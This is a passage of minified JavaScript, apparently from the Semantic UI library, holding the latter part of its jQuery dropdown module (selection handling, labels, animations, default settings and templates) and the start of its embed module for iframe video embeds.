n=n||k.get.choiceText(t),!!t&&(t.data(E.value)!==i?String(t.data(E.value)):"string"==typeof n?e.trim(n.toLowerCase()):String(n))},inputEvent:function(){var e=V[0];return!!e&&(e.oninput!==i?"input":e.onpropertychange!==i?"propertychange":"keyup")},selectValues:function(){var t={};return t.values=[],I.find("option").each(function(){var n=e(this),o=n.html(),a=n.attr("disabled"),r=n.attr("value")!==i?n.attr("value"):o;"auto"===S.placeholder&&""===r?t.placeholder=o:t.values.push({name:o,value:r,disabled:a})}),S.placeholder&&"auto"!==S.placeholder&&(k.debug("Setting placeholder value to",S.placeholder),t.placeholder=S.placeholder),S.sortSelect?(t.values.sort(function(e,t){return e.name>t.name?1:-1}),k.debug("Retrieved and sorted values from select",t)):k.debug("Retrieved values from select",t),t},activeItem:function(){return X.filter("."+T.active)},selectedItem:function(){var e=X.not(D.unselectable).filter("."+T.selected);return e.length>0?e:X.eq(0)},itemWithAdditions:function(e){var t=k.get.item(e),n=k.create.userChoice(e),i=n&&n.length>0;return i&&(t=t.length>0?t.add(n):n),t},item:function(t,n){var o,a,r=!1;return t=t!==i?t:k.get.values()!==i?k.get.values():k.get.text(),o=a?t.length>0:t!==i&&null!==t,a=k.is.multiple()&&e.isArray(t),n=""===t||0===t||(n||!1),o&&X.each(function(){var o=e(this),s=k.get.choiceText(o),l=k.get.choiceValue(o,s);if(null!==l&&l!==i)if(a)e.inArray(String(l),t)===-1&&e.inArray(s,t)===-1||(r=r?r.add(o):o);else if(n){if(k.verbose("Ambiguous dropdown value using strict type check",o,t),l===t||s===t)return r=o,!0}else if(String(l)==String(t)||s==t)return k.verbose("Found select item by value",l,t),r=o,!0}),r}},check:{maxSelections:function(e){return!S.maxSelections||(e=e!==i?e:k.get.selectionCount(),e>=S.maxSelections?(k.debug("Maximum selection count reached"),S.useLabels&&(X.addClass(T.filtered),k.add.message(A.maxSelections)),!0):(k.verbose("No longer at maximum selection count"),k.remove.message(),k.remove.filteredItem(),k.is.searchSelection()&&k.filterItems(),!1))}},restore:{defaults:function(){k.clear(),k.restore.defaultText(),k.restore.defaultValue()},defaultText:function(){var e=k.get.defaultText(),t=k.get.placeholderText;e===t?(k.debug("Restoring default placeholder text",e),k.set.placeholderText(e)):(k.debug("Restoring default text",e),k.set.text(e))},placeholderText:function(){k.set.placeholderText()},defaultValue:function(){var e=k.get.defaultValue();e!==i&&(k.debug("Restoring default value",e),""!==e?(k.set.value(e),k.set.selected()):(k.remove.activeItem(),k.remove.selectedItem()))},labels:function(){S.allowAdditions&&(S.useLabels||(k.error(q.labels),S.useLabels=!0),k.debug("Restoring selected values"),k.create.userLabels()),k.check.maxSelections()},selected:function(){k.restore.values(),k.is.multiple()?(k.debug("Restoring previously selected values and labels"),k.restore.labels()):k.debug("Restoring previously selected values")},values:function(){k.set.initialLoad(),S.apiSettings&&S.saveRemoteData&&k.get.remoteValues()?k.restore.remoteValues():k.set.selected(),k.remove.initialLoad()},remoteValues:function(){var t=k.get.remoteValues();k.debug("Recreating selected from session data",t),t&&(k.is.single()?e.each(t,function(e,t){k.set.text(t)}):e.each(t,function(e,t){k.add.label(e,t)}))}},read:{remoteData:function(e){var n;return t.Storage===i?void k.error(q.noStorage):(n=sessionStorage.getItem(e),n!==i&&n)}},save:{defaults:function(){k.save.defaultText(),k.save.placeholderText(),k.save.defaultValue()},defaultValue:function(){var e=k.get.value();k.verbose("Saving default value as",e),I.data(E.defaultValue,e)},defaultText:function(){var e=k.get.text();k.verbose("Saving default text as",e),I.data(E.defaultText,e)},placeholderText:function(){var e;S.placeholder!==!1&&N.hasClass(T.placeholder)&&(e=k.get.text(),k.verbose("Saving placeholder text as",e),I.data(E.placeholderText,e))},remoteData:function(e,n){return t.Storage===i?void k.error(q.noStorage):(k.verbose("Saving remote data to session storage",n,e),void sessionStorage.setItem(n,e))}},clear:function(){k.is.multiple()&&S.useLabels?k.remove.labels():(k.remove.activeItem(),k.remove.selectedItem()),k.set.placeholderText(),k.clearValue()},clearValue:function(){k.set.value("")},scrollPage:function(e,t){var n,i,o,a=t||k.get.selectedItem(),r=a.closest(D.menu),s=r.outerHeight(),l=r.scrollTop(),c=X.eq(0).outerHeight(),u=Math.floor(s/c),d=(r.prop("scrollHeight"),"up"==e?l-c*u:l+c*u),f=X.not(D.unselectable);o="up"==e?f.index(a)-u:f.index(a)+u,n="up"==e?o>=0:o<f.length,i=n?f.eq(o):"up"==e?f.first():f.last(),i.length>0&&(k.debug("Scrolling page",e,i),a.removeClass(T.selected),i.addClass(T.selected),S.selectOnKeydown&&k.is.single()&&k.set.selectedItem(i),r.scrollTop(d))},set:{filtered:function(){var e=k.is.multiple(),t=k.is.searchSelection(),n=e&&t,i=t?k.get.query():"",o="string"==typeof i&&i.length>0,a=k.get.searchWidth(),r=""!==i;e&&o&&(k.verbose("Adjusting input width",a,S.glyphWidth),V.css("width",a)),o||n&&r?(k.verbose("Hiding placeholder text"),N.addClass(T.filtered)):(!e||n&&!r)&&(k.verbose("Showing placeholder text"),N.removeClass(T.filtered))},empty:function(){I.addClass(T.empty)},loading:function(){I.addClass(T.loading)},placeholderText:function(e){e=e||k.get.placeholderText(),k.debug("Setting placeholder text",e),k.set.text(e),N.addClass(T.placeholder)},tabbable:function(){k.has.search()?(k.debug("Added tabindex to searchable dropdown"),V.val("").attr("tabindex",0),Q.attr("tabindex",-1)):(k.debug("Added tabindex to dropdown"),I.attr("tabindex")===i&&(I.attr("tabindex",0),Q.attr("tabindex",-1)))},initialLoad:function(){k.verbose("Setting initial load"),h=!0},activeItem:function(e){S.allowAdditions&&e.filter(D.addition).length>0?e.addClass(T.filtered):e.addClass(T.active)},partialSearch:function(e){var t=k.get.query().length;V.val(e.substr(0,t))},scrollPosition:function(e,t){var n,o,a,r,s,l,c,u,d,f=5;e=e||k.get.selectedItem(),n=e.closest(D.menu),o=e&&e.length>0,t=t!==i&&t,e&&n.length>0&&o&&(r=e.position().top,n.addClass(T.loading),l=n.scrollTop(),s=n.offset().top,r=e.offset().top,a=l-s+r,t||(c=n.height(),d=l+c<a+f,u=a-f<l),k.debug("Scrolling to active item",a),(t||u||d)&&n.scrollTop(a),n.removeClass(T.loading))},text:function(e){"select"!==S.action&&("combo"==S.action?(k.debug("Changing combo button text",e,B),S.preserveHTML?B.html(e):B.text(e)):(e!==k.get.placeholderText()&&N.removeClass(T.placeholder),k.debug("Changing text",e,N),N.removeClass(T.filtered),S.preserveHTML?N.html(e):N.text(e)))},selectedItem:function(e){var t=k.get.choiceValue(e),n=k.get.choiceText(e,!1);k.debug("Setting user selection to item",e),k.remove.activeItem(),k.set.partialSearch(n),k.set.activeItem(e),k.set.selected(t,e),k.set.text(n)},selectedLetter:function(t){var n,i=X.filter("."+T.selected),o=i.length>0&&k.has.firstLetter(i,t),a=!1;o&&(n=i.nextAll(X).eq(0),k.has.firstLetter(n,t)&&(a=n)),a||X.each(function(){if(k.has.firstLetter(e(this),t))return a=e(this),!1}),a&&(k.verbose("Scrolling to next value with letter",t),k.set.scrollPosition(a),i.removeClass(T.selected),a.addClass(T.selected),S.selectOnKeydown&&k.is.single()&&k.set.selectedItem(a))},direction:function(e){"auto"==S.direction?k.is.onScreen(e)?k.remove.upward(e):k.set.upward(e):"upward"==S.direction&&k.set.upward(e)},upward:function(e){var t=e||I;t.addClass(T.upward)},value:function(e,t,n){var o=k.escape.value(e),a=U.length>0,r=(!k.has.value(e),k.get.values()),s=e!==i?String(e):e;if(a){if(!S.allowReselection&&s==r&&(k.verbose("Skipping value update already same value",e,r),!k.is.initialLoad()))return;k.is.single()&&k.has.selectInput()&&k.can.extendSelect()&&(k.debug("Adding user option",e),k.add.optionValue(e)),k.debug("Updating input value",o,r),K=!0,U.val(o),S.fireOnInit===!1&&k.is.initialLoad()?k.debug("Input native change event ignored on initial load"):k.trigger.change(),K=!1}else k.verbose("Storing value in metadata",o,U),o!==r&&I.data(E.value,s);S.fireOnInit===!1&&k.is.initialLoad()?k.verbose("No callback on initial load",S.onChange):S.onChange.call(Z,e,t,n)},active:function(){I.addClass(T.active)},multiple:function(){I.addClass(T.multiple)},visible:function(){I.addClass(T.visible)},exactly:function(e,t){k.debug("Setting selected to exact values"),k.clear(),k.set.selected(e,t)},selected:function(t,n){var i=k.is.multiple();n=S.allowAdditions?n||k.get.itemWithAdditions(t):n||k.get.item(t),n&&(k.debug("Setting selected menu item to",n),k.is.multiple()&&k.remove.searchWidth(),k.is.single()?(k.remove.activeItem(),k.remove.selectedItem()):S.useLabels&&k.remove.selectedItem(),n.each(function(){var t=e(this),o=k.get.choiceText(t),a=k.get.choiceValue(t,o),r=t.hasClass(T.filtered),s=t.hasClass(T.active),l=t.hasClass(T.addition),c=i&&1==n.length;i?!s||l?(S.apiSettings&&S.saveRemoteData&&k.save.remoteData(o,a),S.useLabels?(k.add.value(a,o,t),k.add.label(a,o,c),k.set.activeItem(t),k.filterActive(),k.select.nextAvailable(n)):(k.add.value(a,o,t),k.set.text(k.add.variables(A.count)),k.set.activeItem(t))):r||(k.debug("Selected active value, removing label"),k.remove.selected(a)):(S.apiSettings&&S.saveRemoteData&&k.save.remoteData(o,a),k.set.text(o),k.set.value(a,o,t),t.addClass(T.active).addClass(T.selected))}))}},add:{label:function(t,n,i){var o,a=k.is.searchSelection()?V:N,r=k.escape.value(t);return o=e("<a />").addClass(T.label).attr("data-value",r).html(j.label(r,n)),o=S.onLabelCreate.call(o,r,n),k.has.label(t)?void k.debug("Label already exists, skipping",r):(S.label.variation&&o.addClass(S.label.variation),void(i===!0?(k.debug("Animating in label",o),o.addClass(T.hidden).insertBefore(a).transition(S.label.transition,S.label.duration)):(k.debug("Adding selection label",o),o.insertBefore(a))))},message:function(t){var n=Q.children(D.message),i=S.templates.message(k.add.variables(t));n.length>0?n.html(i):n=e("<div/>").html(i).addClass(T.message).appendTo(Q)},optionValue:function(t){var n=k.escape.value(t),i=U.find('option[value="'+n+'"]'),o=i.length>0;o||(k.disconnect.selectObserver(),k.is.single()&&(k.verbose("Removing previous user addition"),U.find("option."+T.addition).remove()),e("<option/>").prop("value",n).addClass(T.addition).html(t).appendTo(U),k.verbose("Adding user addition as an <option>",t),k.observe.select())},userSuggestion:function(e){var t,n=Q.children(D.addition),i=k.get.item(e),o=i&&i.not(D.addition).length,a=n.length>0;if(!S.useLabels||!k.has.maxSelections()){if(""===e||o)return void n.remove();a?(n.data(E.value,e).data(E.text,e).attr("data-"+E.value,e).attr("data-"+E.text,e).removeClass(T.filtered),S.hideAdditions||(t=S.templates.addition(k.add.variables(A.addResult,e)),n.html(t)),k.verbose("Replacing user suggestion with new value",n)):(n=k.create.userChoice(e),n.prependTo(Q),k.verbose("Adding item choice to menu corresponding with user choice addition",n)),S.hideAdditions&&!k.is.allFiltered()||n.addClass(T.selected).siblings().removeClass(T.selected),k.refreshItems()}},variables:function(e,t){var n,i,o=e.search("{count}")!==-1,a=e.search("{maxCount}")!==-1,r=e.search("{term}")!==-1;return k.verbose("Adding templated variables to message",e),o&&(n=k.get.selectionCount(),e=e.replace("{count}",n)),a&&(n=k.get.selectionCount(),e=e.replace("{maxCount}",S.maxSelections)),r&&(i=t||k.get.query(),e=e.replace("{term}",i)),e},value:function(t,n,i){var o,a=k.get.values();return""===t?void k.debug("Cannot select blank values from multiselect"):(e.isArray(a)?(o=a.concat([t]),o=k.get.uniqueArray(o)):o=[t],k.has.selectInput()?k.can.extendSelect()&&(k.debug("Adding value to select",t,o,U),k.add.optionValue(t)):(o=o.join(S.delimiter),k.debug("Setting hidden input to delimited value",o,U)),S.fireOnInit===!1&&k.is.initialLoad()?k.verbose("Skipping onadd callback on initial load",S.onAdd):S.onAdd.call(Z,t,n,i),k.set.value(o,t,n,i),void k.check.maxSelections())}},remove:{active:function(){I.removeClass(T.active)},activeLabel:function(){I.find(D.label).removeClass(T.active)},empty:function(){I.removeClass(T.empty)},loading:function(){I.removeClass(T.loading)},initialLoad:function(){h=!1},upward:function(e){var t=e||I;t.removeClass(T.upward)},visible:function(){I.removeClass(T.visible)},activeItem:function(){X.removeClass(T.active)},filteredItem:function(){S.useLabels&&k.has.maxSelections()||(S.useLabels&&k.is.multiple()?X.not("."+T.active).removeClass(T.filtered):X.removeClass(T.filtered),k.remove.empty())},optionValue:function(e){var t=k.escape.value(e),n=U.find('option[value="'+t+'"]'),i=n.length>0;i&&n.hasClass(T.addition)&&(C&&(C.disconnect(),k.verbose("Temporarily disconnecting mutation observer")),n.remove(),k.verbose("Removing user addition as an <option>",t),C&&C.observe(U[0],{childList:!0,subtree:!0}))},message:function(){Q.children(D.message).remove()},searchWidth:function(){V.css("width","")},searchTerm:function(){k.verbose("Cleared search term"),V.val(""),k.set.filtered()},userAddition:function(){X.filter(D.addition).remove()},selected:function(t,n){return!!(n=S.allowAdditions?n||k.get.itemWithAdditions(t):n||k.get.item(t))&&void n.each(function(){var t=e(this),n=k.get.choiceText(t),i=k.get.choiceValue(t,n);k.is.multiple()?S.useLabels?(k.remove.value(i,n,t),k.remove.label(i)):(k.remove.value(i,n,t),0===k.get.selectionCount()?k.set.placeholderText():k.set.text(k.add.variables(A.count))):k.remove.value(i,n,t),t.removeClass(T.filtered).removeClass(T.active),S.useLabels&&t.removeClass(T.selected)})},selectedItem:function(){X.removeClass(T.selected)},value:function(e,t,n){var i,o=k.get.values();k.has.selectInput()?(k.verbose("Input is <select> removing selected option",e),i=k.remove.arrayValue(e,o),k.remove.optionValue(e)):(k.verbose("Removing from delimited values",e),i=k.remove.arrayValue(e,o),i=i.join(S.delimiter)),S.fireOnInit===!1&&k.is.initialLoad()?k.verbose("No callback on initial load",S.onRemove):S.onRemove.call(Z,e,t,n),k.set.value(i,t,n),k.check.maxSelections()},arrayValue:function(t,n){return e.isArray(n)||(n=[n]),n=e.grep(n,function(e){return t!=e}),k.verbose("Removed value from delimited string",t,n),n},label:function(e,t){var n=I.find(D.label),i=n.filter('[data-value="'+e+'"]');k.verbose("Removing label",i),i.remove()},activeLabels:function(e){e=e||I.find(D.label).filter("."+T.active),k.verbose("Removing active label selections",e),k.remove.labels(e)},labels:function(t){t=t||I.find(D.label),k.verbose("Removing labels",t),t.each(function(){var t=e(this),n=t.data(E.value),o=n!==i?String(n):n,a=k.is.userValue(o);return S.onLabelRemove.call(t,n)===!1?void k.debug("Label remove callback cancelled removal"):(k.remove.message(),void(a?(k.remove.value(o),k.remove.label(o)):k.remove.selected(o)))})},tabbable:function(){k.has.search()?(k.debug("Searchable dropdown initialized"),V.removeAttr("tabindex"),Q.removeAttr("tabindex")):(k.debug("Simple selection dropdown initialized"),I.removeAttr("tabindex"),Q.removeAttr("tabindex"))}},has:{menuSearch:function(){return k.has.search()&&V.closest(Q).length>0},search:function(){return V.length>0},sizer:function(){return H.length>0},selectInput:function(){return U.is("select")},minCharacters:function(e){return!S.minCharacters||(e=e!==i?String(e):String(k.get.query()),e.length>=S.minCharacters)},firstLetter:function(e,t){var n,i;return!(!e||0===e.length||"string"!=typeof t)&&(n=k.get.choiceText(e,!1),t=t.toLowerCase(),i=String(n).charAt(0).toLowerCase(),t==i)},input:function(){return U.length>0},items:function(){return X.length>0},menu:function(){return Q.length>0},message:function(){return 0!==Q.children(D.message).length},label:function(e){var t=k.escape.value(e),n=I.find(D.label);return n.filter('[data-value="'+t+'"]').length>0},maxSelections:function(){return S.maxSelections&&k.get.selectionCount()>=S.maxSelections},allResultsFiltered:function(){var e=X.not(D.addition);return e.filter(D.unselectable).length===e.length},userSuggestion:function(){return Q.children(D.addition).length>0},query:function(){return""!==k.get.query()},value:function(t){var n=k.get.values(),i=e.isArray(n)?n&&e.inArray(t,n)!==-1:n==t;return!!i}},is:{active:function(){return I.hasClass(T.active)},bubbledLabelClick:function(t){return e(t.target).is("select, input")&&I.closest("label").length>0},bubbledIconClick:function(t){return e(t.target).closest(W).length>0},alreadySetup:function(){return I.is("select")&&I.parent(D.dropdown).length>0&&0===I.prev().length},animating:function(e){return e?e.transition&&e.transition("is animating"):Q.transition&&Q.transition("is animating")},disabled:function(){return I.hasClass(T.disabled)},focused:function(){return n.activeElement===I[0]},focusedOnSearch:function(){return n.activeElement===V[0]},allFiltered:function(){return(k.is.multiple()||k.has.search())&&!(0==S.hideAdditions&&k.has.userSuggestion())&&!k.has.message()&&k.has.allResultsFiltered()},hidden:function(e){return!k.is.visible(e)},initialLoad:function(){return h},onScreen:function(e){var t,n=e||Q,i=!0,o={};return n.addClass(T.loading),t={context:{scrollTop:L.scrollTop(),height:L.outerHeight()},menu:{offset:n.offset(),height:n.outerHeight()}},o={above:t.context.scrollTop<=t.menu.offset.top-t.menu.height,below:t.context.scrollTop+t.context.height>=t.menu.offset.top+t.menu.height},o.below?(k.verbose("Dropdown can fit in context downward",o),i=!0):o.below||o.above?(k.verbose("Dropdown cannot fit below, opening upward",o),i=!1):(k.verbose("Dropdown cannot fit in either direction, favoring downward",o),i=!0),n.removeClass(T.loading),i},inObject:function(t,n){var i=!1;return e.each(n,function(e,n){if(n==t)return i=!0,!0}),i},multiple:function(){return I.hasClass(T.multiple)},single:function(){return!k.is.multiple()},selectMutation:function(t){var n=!1;return e.each(t,function(t,i){if(i.target&&e(i.target).is("select"))return n=!0,!0}),n},search:function(){return I.hasClass(T.search)},searchSelection:function(){return k.has.search()&&1===V.parent(D.dropdown).length},selection:function(){return I.hasClass(T.selection)},userValue:function(t){return e.inArray(t,k.get.userValues())!==-1},upward:function(e){var t=e||I;return t.hasClass(T.upward)},visible:function(e){return e?e.hasClass(T.visible):Q.hasClass(T.visible)}},can:{activate:function(e){return!!S.useLabels||(!k.has.maxSelections()||!(!k.has.maxSelections()||!e.hasClass(T.active)))},click:function(){return c||"click"==S.on},extendSelect:function(){return S.allowAdditions||S.apiSettings},show:function(){return!k.is.disabled()&&(k.has.items()||k.has.message())},useAPI:function(){return e.fn.api!==i}},animate:{show:function(t,n){var o,a=n||Q,r=n?function(){}:function(){k.hideSubMenus(),k.hideOthers(),k.set.active()};t=e.isFunction(t)?t:function(){},k.verbose("Doing menu show animation",a),k.set.direction(n),o=k.get.transition(n),k.is.selection()&&k.set.scrollPosition(k.get.selectedItem(),!0),(k.is.hidden(a)||k.is.animating(a))&&("none"==o?(r(),a.transition("show"),t.call(Z)):e.fn.transition!==i&&I.transition("is supported")?a.transition({animation:o+" in",debug:S.debug,verbose:S.verbose,duration:S.duration,queue:!0,onStart:r,onComplete:function(){t.call(Z)}}):k.error(q.noTransition,o))},hide:function(t,n){var o=n||Q,a=(n?.9*S.duration:S.duration,n?function(){}:function(){k.can.click()&&k.unbind.intent(),k.remove.active()}),r=k.get.transition(n);t=e.isFunction(t)?t:function(){},(k.is.visible(o)||k.is.animating(o))&&(k.verbose("Doing menu hide animation",o),"none"==r?(a(),o.transition("hide"),t.call(Z)):e.fn.transition!==i&&I.transition("is supported")?o.transition({animation:r+" out",duration:S.duration,debug:S.debug,verbose:S.verbose,queue:!0,onStart:a,onComplete:function(){"auto"==S.direction&&k.remove.upward(n),t.call(Z)}}):k.error(q.transition))}},hideAndClear:function(){k.remove.searchTerm(),k.has.maxSelections()||(k.has.search()?k.hide(function(){k.remove.filteredItem()}):k.hide())},delay:{show:function(){k.verbose("Delaying show event to ensure user intent"),clearTimeout(k.timer),k.timer=setTimeout(k.show,S.delay.show)},hide:function(){k.verbose("Delaying hide event to ensure user intent"),clearTimeout(k.timer),k.timer=setTimeout(k.hide,S.delay.hide)}},escape:{value:function(t){var n=e.isArray(t),i="string"==typeof t,o=!i&&!n,a=i&&t.search(O.quote)!==-1,r=[];return k.has.selectInput()&&!o&&a?(k.debug("Encoding quote values for use in select",t),n?(e.each(t,function(e,t){r.push(t.replace(O.quote,"&quot;"))}),r):t.replace(O.quote,"&quot;")):t},regExp:function(e){return e=String(e),e.replace(O.escape,"\\$&")}},setting:function(t,n){if(k.debug("Changing setting",t,n),e.isPlainObject(t))e.extend(!0,S,t);else{if(n===i)return S[t];e.isPlainObject(S[t])?e.extend(!0,S[t],n):S[t]=n}},internal:function(t,n){if(e.isPlainObject(t))e.extend(!0,k,t);else{if(n===i)return k[t];k[t]=n}},debug:function(){!S.silent&&S.debug&&(S.performance?k.performance.log(arguments):(k.debug=Function.prototype.bind.call(console.info,console,S.name+":"),k.debug.apply(console,arguments)))},verbose:function(){!S.silent&&S.verbose&&S.debug&&(S.performance?k.performance.log(arguments):(k.verbose=Function.prototype.bind.call(console.info,console,S.name+":"),k.verbose.apply(console,arguments)))},error:function(){S.silent||(k.error=Function.prototype.bind.call(console.error,console,S.name+":"),k.error.apply(console,arguments))},performance:{log:function(e){var t,n,i;S.performance&&(t=(new Date).getTime(),i=u||t,n=t-i,u=t,d.push({Name:e[0],Arguments:[].slice.call(e,1)||"",Element:Z,"Execution Time":n})),clearTimeout(k.performance.timer),k.performance.timer=setTimeout(k.performance.display,500)},display:function(){var t=S.name+":",n=0;u=!1,clearTimeout(k.performance.timer),e.each(d,function(e,t){n+=t["Execution Time"]}),t+=" "+n+"ms",l&&(t+=" '"+l+"'"),(console.group!==i||console.table!==i)&&d.length>0&&(console.groupCollapsed(t),console.table?console.table(d):e.each(d,function(e,t){console.log(t.Name+": "+t["Execution Time"]+"ms")}),console.groupEnd()),d=[]}},invoke:function(t,n,o){var r,s,l,c=J;return n=n||g,o=Z||o,"string"==typeof t&&c!==i&&(t=t.split(/[\. ]/),r=t.length-1,e.each(t,function(n,o){var a=n!=r?o+t[n+1].charAt(0).toUpperCase()+t[n+1].slice(1):t;if(e.isPlainObject(c[a])&&n!=r)c=c[a];else{if(c[a]!==i)return s=c[a],!1;if(!e.isPlainObject(c[o])||n==r)return c[o]!==i?(s=c[o],!1):(k.error(q.method,t),!1);c=c[o]}})),e.isFunction(s)?l=s.apply(o,n):s!==i&&(l=s),e.isArray(a)?a.push(l):a!==i?a=[a,l]:l!==i&&(a=l),s}},m?(J===i&&k.initialize(),k.invoke(f)):(J!==i&&J.invoke("destroy"),
k.initialize())}),a!==i?a:r},e.fn.dropdown.settings={silent:!1,debug:!1,verbose:!1,performance:!0,on:"click",action:"activate",apiSettings:!1,selectOnKeydown:!0,minCharacters:0,saveRemoteData:!0,throttle:200,context:t,direction:"auto",keepOnScreen:!0,match:"both",fullTextSearch:!1,placeholder:"auto",preserveHTML:!0,sortSelect:!1,forceSelection:!0,allowAdditions:!1,hideAdditions:!0,maxSelections:!1,useLabels:!0,delimiter:",",showOnFocus:!0,allowReselection:!1,allowTab:!0,allowCategorySelection:!1,fireOnInit:!1,transition:"auto",duration:200,glyphWidth:1.037,label:{transition:"scale",duration:200,variation:!1},delay:{hide:300,show:200,search:20,touch:50},onChange:function(e,t,n){},onAdd:function(e,t,n){},onRemove:function(e,t,n){},onLabelSelect:function(e){},onLabelCreate:function(t,n){return e(this)},onLabelRemove:function(e){return!0},onNoResults:function(e){return!0},onShow:function(){},onHide:function(){},name:"Dropdown",namespace:"dropdown",message:{addResult:"Add <b>{term}</b>",count:"{count} selected",maxSelections:"Max {maxCount} selections",noResults:"No results found.",serverError:"There was an error contacting the server"},error:{action:"You called a dropdown action that was not defined",alreadySetup:"Once a select has been initialized behaviors must be called on the created ui dropdown",labels:"Allowing user additions currently requires the use of labels.",missingMultiple:"<select> requires multiple property to be set to correctly preserve multiple values",method:"The method you called is not defined.",noAPI:"The API module is required to load resources remotely",noStorage:"Saving remote data requires session storage",noTransition:"This module requires ui transitions <https://github.com/Semantic-Org/UI-Transition>"},regExp:{escape:/[-[\]{}()*+?.,\\^$|#\s]/g,quote:/"/g},metadata:{defaultText:"defaultText",defaultValue:"defaultValue",placeholderText:"placeholder",text:"text",value:"value"},fields:{remoteValues:"results",values:"values",disabled:"disabled",name:"name",value:"value",text:"text"},keys:{backspace:8,delimiter:188,deleteKey:46,enter:13,escape:27,pageUp:33,pageDown:34,leftArrow:37,upArrow:38,rightArrow:39,downArrow:40},selector:{addition:".addition",dropdown:".ui.dropdown",hidden:".hidden",icon:"> .dropdown.icon",input:'> input[type="hidden"], > select',item:".item",label:"> .label",remove:"> .label > .delete.icon",siblingLabel:".label",menu:".menu",message:".message",menuIcon:".dropdown.icon",search:"input.search, .menu > .search > input, .menu input.search",sizer:"> input.sizer",text:"> .text:not(.icon)",unselectable:".disabled, .filtered"},className:{active:"active",addition:"addition",animating:"animating",disabled:"disabled",empty:"empty",dropdown:"ui dropdown",filtered:"filtered",hidden:"hidden transition",item:"item",label:"ui label",loading:"loading",menu:"menu",message:"message",multiple:"multiple",placeholder:"default",sizer:"sizer",search:"search",selected:"selected",selection:"selection",upward:"upward",visible:"visible"}},e.fn.dropdown.settings.templates={dropdown:function(t){var n=t.placeholder||!1,i=(t.values||{},"");return i+='<i class="dropdown icon"></i>',i+=t.placeholder?'<div class="default text">'+n+"</div>":'<div class="text"></div>',i+='<div class="menu">',e.each(t.values,function(e,t){i+=t.disabled?'<div class="disabled item" data-value="'+t.value+'">'+t.name+"</div>":'<div class="item" data-value="'+t.value+'">'+t.name+"</div>"}),i+="</div>"},menu:function(t,n){var i=t[n.values]||{},o="";return e.each(i,function(e,t){var i=t[n.text]?'data-text="'+t[n.text]+'"':"",a=t[n.disabled]?"disabled ":"";o+='<div class="'+a+'item" data-value="'+t[n.value]+'"'+i+">",o+=t[n.name],o+="</div>"}),o},label:function(e,t){return t+'<i class="delete icon"></i>'},message:function(e){return e},addition:function(e){return e}}}(jQuery,window,document),function(e,t,n,i){"use strict";t="undefined"!=typeof t&&t.Math==Math?t:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")(),e.fn.embed=function(n){var o,a=e(this),r=a.selector||"",s=(new Date).getTime(),l=[],c=arguments[0],u="string"==typeof c,d=[].slice.call(arguments,1);return a.each(function(){var f,m=e.isPlainObject(n)?e.extend(!0,{},e.fn.embed.settings,n):e.extend({},e.fn.embed.settings),g=m.selector,p=m.className,h=m.sources,v=m.error,b=m.metadata,y=m.namespace,x=m.templates,C="."+y,w="module-"+y,k=(e(t),e(this)),S=k.find(g.placeholder),T=k.find(g.icon),A=k.find(g.embed),R=this,P=k.data(w);f={initialize:function(){f.debug("Initializing embed"),f.determine.autoplay(),f.create(),f.bind.events(),f.instantiate()},instantiate:function(){f.verbose("Storing instance of module",f),P=f,k.data(w,f)},destroy:function(){f.verbose("Destroying previous instance of embed"),f.reset(),k.removeData(w).off(C)},refresh:function(){f.verbose("Refreshing selector cache"),S=k.find(g.placeholder),T=k.find(g.icon),A=k.find(g.embed)},bind:{events:function(){f.has.placeholder()&&(f.debug("Adding placeholder events"),k.on("click"+C,g.placeholder,f.createAndShow).on("click"+C,g.icon,f.createAndShow))}},create:function(){var e=f.get.placeholder();e?f.createPlaceholder():f.createAndShow()},createPlaceholder:function(e){var t=f.get.icon(),n=f.get.url();f.generate.embed(n);e=e||f.get.placeholder(),k.html(x.placeholder(e,t)),f.debug("Creating placeholder for embed",e,t)},createEmbed:function(t){f.refresh(),t=t||f.get.url(),A=e("<div/>").addClass(p.embed).html(f.generate.embed(t)).appendTo(k),m.onCreate.call(R,t),f.debug("Creating embed object",A)},changeEmbed:function(e){A.html(f.generate.embed(e))},createAndShow:function(){f.createEmbed(),f.show()},change:function(e,t,n){f.debug("Changing video to ",e,t,n),k.data(b.source,e).data(b.id,t),n?k.data(b.url,n):k.removeData(b.url),f.has.embed()?f.changeEmbed():f.create()},reset:function(){f.debug("Clearing embed and showing placeholder"),f.remove.active(),f.remove.embed(),f.showPlaceholder(),m.onReset.call(R)},show:function(){f.debug("Showing embed"),f.set.active(),m.onDisplay.call(R)},hide:function(){f.debug("Hiding embed"),f.showPlaceholder()},showPlaceholder:function(){f.debug("Showing placeholder image"),f.remove.active(),m.onPlaceholderDisplay.call(R)},get:{id:function(){return m.id||k.data(b.id)},placeholder:function(){return m.placeholder||k.data(b.placeholder)},icon:function(){return m.icon?m.icon:k.data(b.icon)!==i?k.data(b.icon):f.determine.icon()},source:function(e){return m.source?m.source:k.data(b.source)!==i?k.data(b.source):f.determine.source()},type:function(){var e=f.get.source();return h[e]!==i&&h[e].type},url:function(){return m.url?m.url:k.data(b.url)!==i?k.data(b.url):f.determine.url()}},determine:{autoplay:function(){f.should.autoplay()&&(m.autoplay=!0)},source:function(t){var n=!1;return t=t||f.get.url(),t&&e.each(h,function(e,i){if(t.search(i.domain)!==-1)return n=e,!1}),n},icon:function(){var e=f.get.source();return h[e]!==i&&h[e].icon},url:function(){var e,t=m.id||k.data(b.id),n=m.source||k.data(b.source);return e=h[n]!==i&&h[n].url.replace("{id}",t),e&&k.data(b.url,e),e}},set:{active:function(){k.addClass(p.active)}},remove:{active:function(){k.removeClass(p.active)},embed:function(){A.empty()}},encode:{parameters:function(e){var t,n=[];for(t in e)n.push(encodeURIComponent(t)+"="+encodeURIComponent(e[t]));return n.join("&amp;")}},generate:{embed:function(e){f.debug("Generating embed html");var t,n,i=f.get.source();return e=f.get.url(e),e?(n=f.generate.parameters(i),t=x.iframe(e,n)):f.error(v.noURL,k),t},parameters:function(t,n){var o=h[t]&&h[t].parameters!==i?h[t].parameters(m):{};return n=n||m.parameters,n&&(o=e.extend({},o,n)),o=m.onEmbed(o),f.encode.parameters(o)}},has:{embed:function(){return A.length>0},placeholder:function(){return m.placeholder||k.data(b.placeholder)}},should:{autoplay:function(){return"auto"===m.autoplay?m.placeholder||k.data(b.placeholder)!==i:m.autoplay}},is:{video:function(){return"video"==f.get.type()}},setting:function(t,n){if(f.debug("Changing setting",t,n),e.isPlainObject(t))e.extend(!0,m,t);else{if(n===i)return m[t];e.isPlainObject(m[t])?e.extend(!0,m[t],n):m[t]=n}},internal:function(t,n){if(e.isPlainObject(t))e.extend(!0,f,t);else{if(n===i)return 